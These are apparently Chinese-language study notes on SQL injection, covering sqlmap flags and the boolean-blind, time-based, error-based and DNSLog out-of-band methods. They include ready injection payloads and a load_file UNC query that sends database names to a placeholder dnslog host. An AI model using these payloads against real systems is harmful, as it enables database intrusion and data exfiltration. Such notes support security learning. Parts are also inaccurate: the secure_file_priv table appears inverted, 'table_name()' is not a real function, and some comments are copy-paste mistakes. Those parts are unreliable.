SQL注入-2
包含:
- SQL注入自动化工具
- 布尔盲注
- 基于时间的盲注
- 基于报错的注入
- DNSLog注入
SQL注入自动化工具–sqlmap
| 参数 | 描述 |
|---|---|
--level |
payload级别, 越高payload越多 |
--risk |
风险等级 |
--current-db |
获取当前连接库名 |
--dbs |
获取全部库名 |
--dbms |
指定数据库类型, eg: dbms=mysql |
-D |
指定要查询的库, eg: -D “security” |
--tables |
查询所有表, eg: -D “security” --tables |
-T |
指定要查询的表 |
--col |
获取所有列 |
-C |
指定要查询的列, 可多选 |
--dump |
导出为csv |
-m |
多网址注入, eg: -m “d:/urls.txt” |
--batch |
无人值守, 使用默认参数 |
布尔盲注
适用场景:没有数据回显,条件正确有结果,错误没结果。
利用方式:构造判断条件(and),逐个猜测。
- 当前数据库名字的长度,是不是1、2、3······
- 数据库的第一个字母是不是a、b、c······ (此处的实现可以用二分法来探查)
- 直到问出来数据库名
- 依此类推,推出表名等等
相关的sql语句:
- 截取字符
SELECT mid("abcdefg",5,5);第五位及其后面的一共五位字符。SELECT substr("abcdefg",5,5);同上。SELECT left("abcdefg",5);从左边开始截取五位。SELECT right("abcdefg",5);从右边开始截取五位。
- 转成ascii码(便于脚本实现)
SELECT ORD('a');转换为ascii码。SELECT ASCII('a');同上。
- 正则匹配
SELECT table_name() regexp '^ro';转换为ascii码。SELECT table_name() like '^ro%';转换为ascii码。
基于时间的盲注
适用场景:没有数据回显,无论条件正确与否结果一样。
利用方式:构造条件(and),添加sleep,逐个猜测。
相关sql语句:
SELECT if((1=2),1,3);相当于三目运算符? :。SELECT sleep(1);睡眠,单位:秒。- 组合上述两者,可以用时间的区别来进行注入。eg:
select if(length(database())=2,0,sleep(1)),是就没反应,否就沉默。
基于报错的注入
适用场景:没有数据回显,无论条件正确与否结果一样,sleep没区别,但是错误信息会打印出来。
利用方式:利用语法错误,把value在前端输出。
相关sql语句:
SELECT extractValue('<a><b></b></a>','/a/b');从XML节点中查找结点- 这些是正确的,我们要写错误的,这样才能报出错误
SELECT updateXML('<a><b>ccc</b><d></d></a>','/a','<e>fff</e>') AS val1,
SELECT updateXML('<a><b>ccc</b><d></d></a>','/b','<e>fff</e>') AS val2,
SELECT updateXML('<a><b>ccc</b><d></d></a>','//b','<e>fff</e>') AS val3,
SELECT updateXML('<a><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val4,
SELECT updateXML('<a><d></d><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val5;
TODO
添加报错注入的语句
DNSLog注入
适用场景:没有数据回显,没有SSRF,但是能够发送DNS请求。(Windows系统)
利用方式:通过DNSlog方式将想获得的数据外带出来(oob)。
MySQL读写函数
读:select LOAD_FILE(‘path’)
有如下限制:
- 只能访问本机的文件
- 文件需要有读取权限
- 字节数小于max_allowed_packet
相关配置文件:在my.ini中有参数secure_file_priv,其配置值为:
| 配置值 | 描述 |
|---|---|
| 指定文件夹 | 导入导出只能在指定的文件夹 |
| 不设置 | 不允许执行 |
| null | 没有任何限制 |
| 修改此参数后需要重启mysql生效 |
写:select xxx INTO OUTFILE ‘path’
DNSLog注入流程
- 把select LOAD_FILE()注入到数据库
- UNC构建DNS服务器地址,假装访问文件,产生DNSLog
select load_file('////aaa.xxx.dnslog.xxx/abc'); - 把子域名替换为函数或者查询SQL
select if ((select load_file(concat('////',database(),'.xxx.dnslog.xxx/abc'))),1,0);